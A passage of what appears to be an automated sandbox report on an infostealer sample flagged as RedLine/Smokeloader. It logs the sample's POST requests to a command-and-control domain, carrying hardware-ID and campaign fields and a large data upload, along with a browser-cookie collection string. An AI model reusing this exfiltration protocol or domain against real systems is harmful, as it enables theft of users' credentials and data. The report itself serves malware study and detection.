2024-04-22 19:44:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 45 37 39 46 41 34 30 46 37 35 41 37 35 41 35 38 34 32 33 39 43 39 32 39 31 43 33 31 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"126E79FA40F75A75A584239C9291C31F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 19:44:03 UTC	5110	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 Data Ascii: `M?lrQMn 64F6(X&7~`a
2024-04-22 19:44:03 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f3ncgshmjpsvv9n1d8r1667k80; expires=Fri, 16-Aug-2024 13:30:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6eYvk4ziHjDNN%2B%2BDlfDKZmPwuaxVC0m4Oq0H5ZDNAc7swLhsBWSyUcvODvYDMsxeFyzafqaqywjNZ7hnFe9AJZGyW9yco2k9nqEbv4tFDu4ftiVDjfPE%2FN0y7kyOD6EuKjOlAOj6hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b33dc20071f-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 19:44:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:04 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7092 Host: strollheavengwu.shop
2024-04-22 19:44:04 UTC	7092	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 45 37 39 46 41 34 30 46 37 35 41 37 35 41 35 38 34 32 33 39 43 39 32 39 31 43 33 31 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"126E79FA40F75A75A584239C9291C31F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 19:44:04 UTC	816	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qrhmufj1mb2s8fr37g5253e6op; expires=Fri, 16-Aug-2024 13:30:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9CQEHNgF3iB2eooL1jg%2BMk3xiWhBcoLbnoZFIfySycFlVNDliSoYOnHhHpM24S7FCGe%2BziYomd20%2F%2Bed%2B8KWlckAnzjbUPYD8XYjpSJHgF6zkVDTEUl44Z6rAwhDbV%2F5t0iB1B%2FyMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b3a1cc46750-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 19:44:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:05 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1421 Host: strollheavengwu.shop
2024-04-22 19:44:05 UTC	1421	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 45 37 39 46 41 34 30 46 37 35 41 37 35 41 35 38 34 32 33 39 43 39 32 39 31 43 33 31 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"126E79FA40F75A75A584239C9291C31F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 19:44:05 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fen9487gfk34eubkragu4fftt5; expires=Fri, 16-Aug-2024 13:30:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WzAr%2F7g5Vd497hqbNzHwtWBS1rFh5LsY0GofFnP0xQ6Z7hBYPLvUpSK1BAUxY81zSYWJEr2P6Rnt76OiOp2qEiZGwyjrCdAdK1llS92Nr6O0XpyENXiRLkWH73%2FBnB%2BrrBCnufx3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b3f983353e1-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 19:44:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:06 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 589050 Host: strollheavengwu.shop
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 45 37 39 46 41 34 30 46 37 35 41 37 35 41 35 38 34 32 33 39 43 39 32 39 31 43 33 31 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"126E79FA40F75A75A584239C9291C31F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: bc 04 4c 4b 21 b0 0f f7 51 25 01 2a f0 04 94 3f 0f 76 1c d1 38 0c de 49 37 6e a6 82 53 11 36 cf ac 67 39 fc e6 12 40 76 61 f1 ed ff b7 32 52 0a c8 4e 6b 01 04 90 5c 08 c9 b3 0e a0 dc 1f 4d c3 68 20 1c 8b 64 32 a0 c4 9e fd 3e 10 0d a8 5f ac 9e 7f 53 24 2f 8e a8 8b 1e b5 03 85 02 38 c4 96 ed fa e5 da fd 14 a2 69 c6 1a d8 5a 2b 8c 36 ba 49 78 01 1e 7e 62 5b 23 d5 53 c0 6e 30 5c d3 95 9c f5 5e a8 1c ad 8d 4b 95 a0 d2 46 3e ec fc 7c c3 39 7e df 38 38 5e c9 ba a0 1d 77 fa 58 46 93 9f 2a e8 78 42 0d 7e a7 5a a7 22 16 b1 65 e5 ba b3 34 68 d7 bc 5d d8 8d 36 3e 11 d6 bc 50 ad ec d6 e2 c8 8f c6 63 24 4b 40 5b a4 91 79 98 9f 7c 06 1d 93 77 93 68 05 11 1d 42 40 f8 ce ad 5a d7 95 b8 82 32 f4 61 70 3d 54 b7 7c e3 7d 2f 75 80 e7 5d 31 6b 94 a9 c6 2f e5 d3 a6 dc 66 d5 0f Data Ascii: LK!Q%?v8I7nS6g9@va2RNk\Mh d2>_S$/8iZ+6Ix~b[#Sn0\^KF>\|9~88^wXFxB~Z"e4h]6>Pc$K@[y\|whB@Z2ap=T\|}/u]1k/f
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 81 fa c1 9b 93 48 ba 8a 04 4d 21 71 cd ff 08 e9 ed d8 31 eb 2e c3 9a 9a d2 a7 63 e5 c7 6a e3 c1 4a 2a 99 30 2a 3d 92 6e 1e 2c 73 12 de 30 8a 34 4f 20 f8 e0 88 18 e6 31 e7 c7 1b c7 e7 a2 0e b7 99 c3 41 74 c3 b8 b5 1f d8 38 1f bf 2d ef 21 05 07 6a 9f e8 69 3b 37 99 30 bf fd c4 85 91 a7 31 c4 3e 01 7b 1f 7e fa 9b c3 5b 19 3e 56 93 3b 23 46 af ac ad 22 9c 04 f0 87 d8 59 92 3b 67 74 9e 3c d5 47 bc b4 a9 a1 e2 e2 ad 8e de 6c 41 93 c1 3b ae 48 f8 f6 43 3b e7 97 02 96 98 72 92 5a ba f6 58 8b 6b c7 cc fc 45 8c 67 bf 5d 49 7a 25 8f 89 de 5d f6 fc 89 45 dc c6 d9 85 4f fa 0d 73 c6 4d 09 d8 96 4f e0 b9 78 04 a1 47 78 4a f3 ab bb e2 8b fa ca 1e c3 7a 33 83 02 d8 1a 52 a0 aa 45 5a 34 45 94 e2 31 2c d1 ae 87 df d7 94 52 ee d7 19 f5 03 0f 57 fc ed 46 db cc 17 09 9c 47 15 Data Ascii: HM!q1.cjJ0=n,s04O 1At8-!ji;701>{~[>V;#F"Y;gt<GlA;HC;rZXkEg]Iz%]EOsMOxGxJz3REZ4E1,RWFG
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 12 52 52 1a 04 e2 2b 14 ee e3 2f 0f 66 ea 5a 07 b1 a4 86 6e 33 43 95 01 5f f6 ba bd 07 ef 39 5e fd 61 e5 ac ec c0 53 f6 c6 fe d4 12 08 1c 41 78 f1 80 e5 ea f0 47 7f 0f 0b 1b f0 d7 8f b7 40 3f 2a 1b 1d 70 ab 8e 84 db 23 9d 44 9b c9 01 de 25 d5 04 54 5c 65 08 73 a8 ee 71 07 fc e4 0d f4 b3 bb 8e 62 bc 13 7c 94 3d 7b 2b be e6 9e bc 0e 56 3a 85 ce 4f 2f 05 30 ed e2 0f eb 55 8c f4 9c 1d 6f 19 5d 34 6b 1f 69 da 01 98 11 bf 47 82 c8 8b 6d 75 87 0c 70 a3 2b bb d6 5b 39 8d 65 21 c0 f0 b6 f7 29 f9 45 bf 7a 77 f4 a2 16 b7 4f 3d 98 bb fc aa 3e 38 7e 90 a8 8a 6f b0 e2 f9 38 5f c6 62 2b 5c 7e 5d 4c 88 f0 89 ba e7 30 6e 70 0c 68 2b 06 f0 bb 3e 91 a5 c8 7c c3 d5 c9 2d 69 24 40 93 23 be 02 db b7 db eb 82 05 4f 1e 83 63 3a d9 b1 e1 b9 cf c9 57 2f 49 72 0d 4f 69 92 ea de 84 Data Ascii: RR+/fZn3C_9^aSAxG@?*p#D%T\esqb\|={+V:O/0Uo]4kiGmup+[9e!)EzwO=>8~o8_b+\~]L0nph+>\|-i$@#Oc:W/IrOi
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 19 78 24 39 86 24 c9 85 62 a6 57 78 b8 5d 01 56 91 2e 68 00 5b 13 da 88 ed 41 83 32 64 45 1e 3e 46 2d e5 bb f3 f0 78 7b 73 6c f2 41 75 94 ea 97 d3 a3 99 a6 e1 26 c0 0a 72 92 00 7c 1d 82 dd 21 c5 de a0 20 a3 f2 c7 63 72 17 bf 79 4e 6e 47 2d 08 94 fb 92 fb d0 79 56 f8 4f b0 9f 18 b0 9a 44 ac 24 7a b2 0d dc 4e 09 73 99 c6 68 3d f6 86 5d d7 af 40 03 61 c6 f4 20 ee 49 04 65 a7 55 d3 99 17 40 5b d7 33 2a 5b ee 61 ad ae 44 29 06 d1 85 d6 ce 93 c3 1f ef 79 a2 7d c3 a2 c8 18 ef bd 5a a6 86 c1 76 c2 0c 83 b8 67 e6 70 8e 6d ed 22 67 f6 85 0d 4c 59 e4 c4 c5 17 52 37 ac 8b 5a 4f 18 14 82 94 83 fb 95 77 ac 72 b8 0e d1 f8 c2 f5 32 27 cd 8a 72 53 3a 3b 98 16 72 b2 09 f8 29 66 c0 f7 ab ed f3 4d ab df 47 f7 63 74 e1 65 6b d1 02 78 32 ce 01 82 15 27 d9 aa fd 26 3d 9a 18 19 Data Ascii: x$9$bWx]V.h[A2dE>F-x{slAu&r\|! cryNnG-yVOD$zNsh=]@a IeU@[3*[aD)y}Zvgpm"gLYR7ZOwr2'rS:;r)fMGctekx2'&=
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 2e ab a4 34 51 1a a1 68 fb 75 5c 56 26 74 2b f4 55 a5 d9 9c 7f 73 7d f8 4c a0 e4 fa 9f 4f d5 2d 1e 14 fd 03 a4 12 0b 27 03 d7 1e f8 ed 29 73 87 30 5b e9 1d 28 78 bf ea 6e 8b f9 ce fd 60 c4 c0 01 c6 c0 98 c8 e0 99 aa 84 99 45 9d 76 f9 d3 c4 86 e2 ac 75 da 86 9c dd 62 84 7f d3 86 fb 4d 8e b0 3a a1 ab 38 53 08 6e 6e 5a 29 fe c7 51 86 2b 60 c4 f8 b4 93 b8 76 cf a7 65 1f 66 44 b6 da 7c c2 b4 e1 90 9b a2 e2 a0 a3 5b 93 82 b3 9c 2b c6 58 73 d5 fd 94 a1 0a 66 d9 97 9b a0 d1 12 61 f4 64 fd 6b 88 26 a8 94 8a 78 7d 1b 05 2e 8d 2a 70 d0 6b 0a 24 e6 20 16 cc e1 d1 8c 1f 1f be 76 66 1c 6f d5 0b 34 ed e9 74 7c 80 a2 d4 c1 f7 2f c2 95 0a f4 46 23 8a 04 fa 84 54 1c 1a 7e fc 15 cc e7 c9 23 0f 95 be 15 62 69 d6 97 d0 99 57 33 22 8e f0 e6 ae b7 99 f6 df 69 2a 5f 7a 38 9e 11 Data Ascii: .4Qhu\V&t+Us}LO-')s0[(xn`EvubM:8SnnZ)Q+`vefD\|[+Xsfadk&x}.pk$ vfo4t\|/F#T~#biW3"i_z8
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: a6 0e 04 c0 81 70 b0 07 74 21 2e 27 b3 f9 51 64 cb 44 8e 3b 1c ce 12 6c de 1f ed 92 fa 18 16 0a 29 1f 93 8a ac da 9e 65 16 11 ec 9d 44 4e 72 15 5b bd a6 6f d3 bc 71 7b 48 12 3c 67 a3 5f 2a 10 7b 68 fb 4a 40 73 1c 97 13 88 01 83 6c 74 57 4f 55 48 e0 f2 b8 c6 b3 e7 64 ce 74 73 36 99 3d f2 7c cf 4c 77 e9 f7 b4 cd 0c da 56 27 3a 96 36 b0 3e c6 3d fc 26 74 ab 9f 1f 44 5f 0f 9c 56 3d bf 0f 7c 0a f3 b2 26 54 72 2f 01 d6 4f 81 1b 6f f9 c1 ac 07 0e f4 4b 73 f9 9a 7b 59 4e a8 31 af 15 d2 7c 0b 0a 26 df 90 6a bf 5c aa c7 29 2e af dc ad 7c 9f ef 7a c1 46 c7 03 0c 9c ba 66 3a 8e 3c 24 0b 4e b3 d7 30 41 2c 59 58 3a 0d 89 fb f7 a3 b6 5b 86 58 3d ab fa 9a 77 cb fd c2 43 1d 9d a7 95 5a ff 54 9a 65 8c 7d 81 bd 38 9c dc 32 26 e5 bc 93 a4 09 bd a7 df fd 67 50 fe ad 4f 4e f1 Data Ascii: pt!.'QdD;l)eDNr[oq{H<g_*{hJ@sltWOUHdts6=\|LwV':6>=&tD_V=\|&Tr/OoKs{YN1\|&j\).\|zFf:<$N0A,YX:[X=wCZTe}82&gPON
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 59 36 df fb ed fb 01 65 1f 4b 7e 3e 58 ff b2 72 b0 b1 68 d8 29 4a b5 c2 f1 f7 9c e8 03 06 e2 50 55 52 9b 6e 43 6d 4c 4d 00 4d 88 b4 b5 16 b2 4a 72 d4 9b ca 59 08 42 d2 b1 e2 0b c9 9b c2 51 ef 89 ca f4 d6 1e 28 42 37 68 c2 b8 df d9 b9 e3 48 c5 c9 7d b5 1b 81 df 96 fc 5c 03 76 11 3e 48 ff 5d c3 b7 74 d1 d6 28 b9 a0 7a 29 05 71 7c 76 b3 1e d1 34 39 cf eb 90 0c ff 23 7b d4 9a 07 1c f5 9d 1c 7f 2e ac d0 be 79 2a f6 08 6d 89 7f 79 79 6a c5 57 25 4c 4c d6 ee 53 fa f0 cc 34 92 3f 2e 29 7b ab ed 70 84 34 9b 5f 1a ce 9b 0d ae b6 5d b3 6d 16 01 d7 02 c4 6b bc c1 3b 10 3c f8 a9 67 bc 8d ac 0d 08 82 8d f5 03 e9 db cd e2 a2 43 9f a1 7d 72 de 01 4b e0 ed 4a 5a f9 86 ee a3 b0 25 f4 57 3e 92 06 1e 29 13 f7 76 d6 ef 78 91 cd df e9 cb cb 17 6d 0d 6c e9 ea 5b 3d 80 21 7f 99 Data Ascii: Y6eK~>Xrh)JPURnCmLMMJrYBQ(B7hH}\v>H]t(z)q\|v49#{.y*myyjW%LLS4?.){p4_]mk;<gC}rKJZ%W>)vxml[=!
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: 50 b4 24 a7 83 d8 3d a8 e2 56 92 b4 85 60 f5 90 9c 26 e7 be bb fa 31 2c d6 26 e7 b4 73 f9 a6 08 f6 aa 73 f9 80 36 0a b9 f6 42 54 62 5a 67 3f ff ca 8d 2a b0 e5 d7 2a d7 45 98 c8 62 a9 b1 fe c3 0a de 9a 0b 5c 0f 4e 95 ca c9 27 d7 91 66 14 d7 5d 77 63 21 e2 3d f2 87 01 9c 45 ba 39 17 d9 9b af 7d 52 93 1b 64 39 e1 b7 19 9c 7a c9 39 d3 38 f4 cf ad 18 c3 7a 56 de 12 48 2a e4 c2 16 60 5c be 3d 63 40 8e 0e 07 c1 71 9b d7 87 63 4c 8c 01 99 6e a4 87 de 9a a9 a1 b6 89 df ca c9 54 d3 61 9f 69 24 1a 4c 18 90 f5 10 b7 4e 0d 99 8a cb 87 bf 6c 15 1f 8b ab 0d 37 43 75 97 6f 61 31 3d b8 af 11 49 5f 6b 8b 68 1f 9b 0f e0 d7 c0 c6 e4 9a 6b 71 f2 6c cd 79 0d 84 ab 15 55 89 69 83 e1 6e ce f1 54 32 9d 54 8e 90 4f 2d fa 96 8c 18 43 ae 2b b2 eb 25 5b 21 16 80 dc 10 97 ee 20 92 5e Data Ascii: P$=V`&1,&ss6BTbZg?*Eb\N'f]wc!=E9}Rd9z98zVH`\=c@qcLnTai$LNl7Cuoa1=I_khkqlyUinT2TO-C+%[! ^
2024-04-22 19:44:06 UTC	15331	OUT	Data Raw: ab bb 70 82 2a 67 23 e4 20 21 c2 e3 05 af 3b bd 30 eb 33 60 6f 9a e9 5a 48 96 3c cf d7 76 e7 36 1c 53 45 54 05 26 c7 c0 5b 93 93 b6 33 83 67 63 c4 d8 46 b3 08 17 a2 0b 0c e0 d9 35 55 50 e4 07 45 b1 39 cf 54 41 14 67 e8 83 0a d0 76 81 89 35 68 ce 94 b1 90 73 88 e6 1b 1c c7 19 09 a3 9c 79 ae a1 2a c8 10 ff df 89 b1 46 a8 ff ed 82 c9 b8 07 8a c4 11 bf ce cd 94 59 61 50 61 1f 48 a7 45 dc ae 2a 44 4b 62 5a b8 a4 b7 62 ff 8e ac 8e 45 12 66 98 66 f9 7e 22 ed c2 ec 9d e6 59 c5 bd e1 df 37 0b 3d aa 3d b3 ae 8a 6c 84 50 bb 82 7b 61 ea 57 70 2e 76 cc b7 72 dd 9a 4a e6 c1 d6 64 2c 78 22 04 ba eb 11 f6 fa e0 7c c6 d2 c1 13 12 19 c7 8f 1a de a0 ba 2a 6d 65 fb dc bc 34 1f 88 80 37 3b e5 44 57 3f 88 09 7f 27 3a 4a 1c cc 46 30 d7 b1 90 00 25 af a1 fc 96 5d f8 04 d5 f0 f8 Data Ascii: pg# !;03`oZH<v6SET&[3gcF5UPE9TAgv5hsyFYaPaHEDKbZbEff~"Y7==lP{aWp.vrJd,x"\|me47;DW?':JF0%]
2024-04-22 19:44:07 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7cimahsjo0haa8fntdk6ic0tch; expires=Fri, 16-Aug-2024 13:30:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6F3nc%2FSxZZLVLYSbu1m0CX7ExdfeYN2jDGRRNlCqsV7%2FDJPJAVg2yUK8157tT8tQe8V91KiEYUz%2BhK9JwlprH%2FzjZwrIQIADsJQKOb8ak1svdB9GW6YFOkGdV1iSOT8eSXBFHtNUUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b48089e134d-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	21:43:55
Start date:	22/04/2024
Path:	C:\Users\user\Desktop\asbpKOngY0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\asbpKOngY0.exe"
Imagebase:	0x400000
File size:	370'176 bytes
MD5 hash:	ECD47621CCE65EC0AEE0E8599A308A3B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1889716218.0000000002D17000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:44:06
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1488
Imagebase:	0x7ff70f330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	8.3%
Signature Coverage:	25.5%
Total number of Nodes:	384
Total number of Limit Nodes:	17

Executed Functions

Function 0041CAEC Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1109COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041D77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041D7A8

Strings

X&, xrefs: 0041D6BF
SE, xrefs: 0041D6A7
onqp, xrefs: 0041CB78
[info] collected cookies file of the chromium-based browser, xrefs: 0041CCFF
onqp, xrefs: 0041D2B8
AV, xrefs: 0041D6AF
-^, xrefs: 0041D6B7

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

